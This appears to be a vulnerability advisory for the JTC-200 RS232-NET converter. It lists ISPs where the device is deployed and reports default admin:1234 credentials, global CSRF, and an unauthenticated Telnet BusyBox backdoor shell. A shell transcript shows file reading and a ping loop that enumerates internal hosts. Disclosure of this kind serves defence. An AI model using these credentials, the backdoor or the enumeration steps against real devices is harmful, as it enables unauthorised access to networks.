About RS232-NET Converter (model JTC-200)
Seen deployed in:
- CHTD, Chunghwa Telecom Co., Ltd. (Taiwan)
- HiNet (Taiwan & China)
- PT Comunicacoes (Portugal)
- Sony Network Taiwan Limited (Taiwan)
- Vodafone Portugal (Portugal)
1. Weak Credential Management
The RS232-NET Converter (model JTC-200) web administration interface uses non-random default credentials of admin:1234. The application does not enforce a mandatory password change. A network-based attacker can gain privileged access to a vulnerable device's web management interfaces or leverage default credentials in remote attacks such as cross-site request forgery.
2. Unauthenticated access over Telnet (Backdoor shell)
The RS232-NET Converter (model JTC-200) provides (undocumented) Busybox linux shell over Telnet service - without any authentication. This backdoor shell therefore gives direct access to the internal network, over the Internet.
Connected to IP.
Escape character is '^]'.
BusyBox v0.60.4 (2008.02.21-16:59+0000) Built-in shell (msh)
Enter 'help' for a list of built-in commands.
BusyBox v0.60.4 (2008.02.21-16:59+0000) multi-call binary
Usage: busybox [function] [arguments]...
or: [function] [arguments]...
BusyBox is a multi-call binary that combines many common Unix utilities into a single executable. Most people will create a link to busybox for each function they wish to use, and BusyBox will act like whatever it was invoked as.
Currently defined functions:
[, busybox, cat, cp, df, hostname, ifconfig, init, kill, killall, ls, mkdir, mknod, mount, msh, mv, ping, ps, pwd, rm, sh, test, touch, vi
bin dev etc nfs proc swap usb var
# cd etc
ConfigPage WRConfig.ini config inetd.conf inittab ppp protocols rc resolv.conf services
# cat inetd.conf
telnet stream tcpnowait root /bin/telnetd
Busybox shell offers pretty restricted set of allowed functions but it is still possible to perform enumeration.
192.168.5.x -> real ip
# for i in `cat ip-list`; do ping 192.168.5.$i; done
192.168.5.11 is alive!
No response from 192.168.5.12
No response from 192.168.5.13
192.168.5.14 is alive!
192.168.5.15 is alive!
3. Cross-Site Request Forgery (CSRF)
The RS232-NET Converter (model JTC-200) contains a global CSRF vulnerability. An attacker can perform actions with the same permissions as a victim user, provided the victim has an active session and is induced to trigger the malicious request. Note that in combination with default credentials, an attacker can establish an active session as part of an attack and therefore would not require a victim to be logged in.